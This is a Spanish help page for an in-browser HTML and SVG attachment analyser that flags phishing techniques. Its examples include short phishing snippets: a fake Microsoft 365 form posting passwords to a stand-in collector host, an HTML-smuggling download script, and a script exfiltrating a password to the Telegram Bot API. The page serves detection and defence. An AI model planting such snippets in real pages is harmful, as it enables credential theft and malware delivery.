Archivos y páginas

Analizador de adjuntos HTML

Se ejecuta localmenteNueva

La herramienta en sí está en inglés; en esta página se explica en tu idioma.

Utiliza Analizador de adjuntos HTML

Para qué sirve

Carga o pega un adjunto HTML o SVG para ver lo que haría si se abriera: descargas ocultas, formularios que envían una contraseña a otro sitio, redirecciones, puntos de exfiltración y código ofuscado. El archivo se lee como texto y nunca se renderiza ni se ejecuta.

Funciona íntegramente en tu navegador: no se sube nada de lo que introduzcas.

Cómo utilizar Analizador de adjuntos HTML

  1. No abras el archivo. Guarda el adjunto .html, .htm, .shtml, .xhtml o .svg sin abrirlo, o copia su código fuente como texto.
  2. Cárgalo o pégalo. Suelta el archivo en el recuadro o elígelo (hasta 25 MB), o pega el código fuente (hasta 5 MB) y pulsa Analyze (Analizar) o Ctrl+Intro.
  3. Lee el veredicto. El recuadro superior dice High risk (Riesgo alto), Suspicious (Sospechoso) o No high-risk patterns found (No se encontraron patrones de riesgo alto), con las categorías que lo motivan y el número de hallazgos, IOC y bloques incrustados.
  4. Repasa los hallazgos. Cada hallazgo muestra su gravedad, su categoría, el número de línea y el código coincidente, con los enlaces y las direcciones neutralizados.
  5. Exporta lo que encontraste. Copia los IOC neutralizados o tal cual, o usa Send to (Enviar a) para IOC Converter, Abuse Report Generator o, en el caso de un bloque incrustado, Multi-Layer Decoder.

Ejemplo

Formulario de inicio de sesión con una dirección ya rellenada

Entrada
<title>Sign in to Microsoft 365</title>
<form action="https://collector.example/login" method="post">
<input type="email" name="u"> <input type="password" name="p">
<button>Sign in</button></form>
<script>document.forms[0].u.value = atob(location.hash.slice(1));</script>
Resultado (registrado el 2026-10-20)
High risk: techniques used by phishing and malware attachments

Credential harvesting

1 high, 3 medium, 1 low · 2 IOCs · 0 embedded blobs

FILE
pasted source
SIZE
271 B · 5 lines
PAGE TITLE
Sign in to Microsoft 365

This file builds or hides code at run time. For deobfuscation and sandboxed emulation use JS Analyzer.

Findings
High
Login form sends the password to another site (collector[.]example)
Credential harvesting · line 2
<title>Sign in to Microsoft 365</title> <form action="hxxps://collector[.]example/login" method="post"> <input type="email" name="u"> <input type="password" name="…
Medium
Decodes Base64 at run time (atob)
Obfuscation · line 5
…Sign in</button></form> <script>document.forms[0].u.value = atob(location.hash.slice(1));</script>
Medium
Brand on a page with a password field: Microsoft / Office 365
Brand hints
Medium
Password field
Credential harvesting · line 3
…example/login" method="post"> <input type="email" name="u"> <input type="password" name="p"> <button>Sign in</button></form> <script>document.forms[0].u…
Low
Reads the URL fragment (often the victim’s e-mail to pre-fill)
Redirects · line 5
…in</button></form> <script>document.forms[0].u.value = atob(location.hash.slice(1));</script>
Forms
SENDS TO	METHOD	FIELDS	LINE
hxxps://collector[.]example/login external Copy	POST	email u, password p, submit password	2
Requests and redirects with a literal target
VIA	TARGET	LINE
form	hxxps://collector[.]example/login other site	2
IOCs
URLs (1)
hxxps://collector[.]example/login

Domains (1)
collector[.]example
Copy IOCs (defanged)
Copy IOCs (raw)

Static
…

Riesgo alto: el formulario de inicio de sesión envía la contraseña a collector[.]example, el título nombra Microsoft 365 junto a un campo de contraseña y el script rellena la dirección de correo a partir del fragmento de la URL con atob. La lista de IOC contiene la URL del recolector y su dominio, neutralizados.

Qué comprueba

SeñalQué significa
HTML smugglingAlto cuando la página construye un archivo en memoria (Blob con createObjectURL o un enlace de descarga, o msSaveOrOpenBlob) y lo ofrece como descarga.
FormulariosCualquier formulario que envía datos a otro sitio se valora como alto, y el título indica si lleva una contraseña. La tabla Forms lista adónde envía cada formulario, su método y sus campos.
Puntos de exfiltraciónLas llamadas a la Telegram Bot API, los tokens de bots, los webhooks de Discord y los servicios de recogida de formularios como formspree.io o webhook.site se valoran como altos.
Ofuscaciónatob, unescape, fromCharCode, largas secuencias de escape y la salida de ofuscadores conocidos. Las cadenas codificadas literales se decodifican sin ejecutarlas.
Código dinámicoeval, el constructor Function, document.write y las asignaciones a innerHTML generan código o marcado en tiempo de ejecución.
RedireccionesCambios de location, window.open, meta refresh y la lectura del fragmento de la URL, por donde los kits suelen pasar la dirección de correo de la víctima.
AntianálisisBloqueo del clic derecho o de F12, sentencias debugger, detección de las herramientas de desarrollo y comprobaciones de navegadores automatizados.
Contenido incrustadodata: URI, bloques largos en Base64 o hexadecimal y el tipo de archivo en que se decodifican, iframes ocultos y archivos SVG que contienen scripts.
Indicios de marcaNombres de marcas en el título, logotipos o enlaces. Junto a un campo de contraseña, se valora como medio.

Más ejemplos

Una descarga construida en el navegador

Entrada
<script>
var b = new Blob([atob("UEsFBgAAAAAAAAAAAAAAAAAAAAAAAA==")], {type: "application/zip"});
var a = document.createElement("a");
a.href = URL.createObjectURL(b);
a.download = "invoice.zip";
a.click();
</script>
Resultado

High risk, motivo HTML smuggling: 1 hallazgo alto (la página ensambla un archivo en el navegador y lo ofrece como descarga) y 4 medios por atob, new Blob, URL.createObjectURL y el atributo download. Ningún IOC.

Una contraseña enviada a un bot de Telegram

Entrada
<form id="f"><input type="password" name="p"></form>
<script>fetch("https://api.telegram.org/bot<TOKEN>/sendMessage", {method: "POST", body: new FormData(document.getElementById("f"))});</script>
Resultado

High risk, motivo Data exfiltration: un script envía datos desde una página con un campo de contraseña a api.telegram.org, más el hallazgo del endpoint de la Telegram Bot API. Los hallazgos medios cubren fetch, el campo de contraseña y un formulario de inicio de sesión sin acción externa.

Una imagen SVG que redirige

Entrada
<svg xmlns="http://www.w3.org/2000/svg"><script>window.location.href = "https://login.example.net/?e=" + btoa("user@example.com");</script></svg>
Resultado

High risk: archivo SVG con script, más una redirección media y un hallazgo bajo por btoa. El destino aparece en Requests and redirects como otro sitio, y la URL del espacio de nombres XML queda fuera de los IOC.

Preguntas frecuentes

¿Qué busca el analizador?

Compara el código fuente con reglas de HTML smuggling (Blob, createObjectURL, msSaveOrOpenBlob, enlaces de descarga, data: URI y bloques Base64 largos), formularios y scripts que envían datos a otros sitios, exfiltración a Telegram y Discord, redirecciones, iframes ocultos, ofuscadores y trucos antianálisis. También decodifica literales atob, unescape y fromCharCode sin ejecutarlos y lista, neutralizadas, todas las URL, dominios, direcciones IP y direcciones de correo que encuentra.

¿Puede pasar algo por alto o dar una falsa alarma?

Sí. El código cifrado o generado en tiempo de ejecución puede ocultar su comportamiento a un análisis estático, y las páginas normales también usan fetch, innerHTML o imágenes incrustadas, así que lee el código coincidente que se muestra junto a cada hallazgo. Para desofuscar y emular en un entorno aislado, usa JS Analyzer.

¿Se sube o se abre el archivo?

No. El archivo se lee como texto en tu navegador y nunca se renderiza, se ejecuta ni se envía a ningún sitio. Se aceptan archivos de hasta 25 MB; en los muy grandes se analizan los primeros 4 MB y el último 1 MB de marcado, y los bloques incrustados se cuentan en todo el archivo.

¿Por qué se comprueba una imagen SVG como si fuera una página web?

Los archivos SVG son XML que los navegadores abren como páginas, así que pueden llevar scripts, enlaces y HTML incrustado. Una imagen no necesita scripts, por eso un script dentro de un SVG se valora como alto.

¿Qué son los bloques incrustados?

Cadenas largas en Base64, hexadecimal o como matrices de bytes dentro del archivo. Se decodifican en memoria y se etiquetan con el tipo de archivo en que se convierten; puedes copiar uno o enviar un bloque de texto a Multi-Layer Decoder.

¿Qué significan los niveles de gravedad?

High marca patrones de los que dependen los adjuntos de phishing y malware, como el smuggling, los puntos de exfiltración o un formulario de contraseña que envía los datos a otro sitio. Medium cubre técnicas que también usan las páginas normales. Un solo hallazgo alto hace que el veredicto sea High risk.

Explicación de los términos

Investigación de PhishDestroy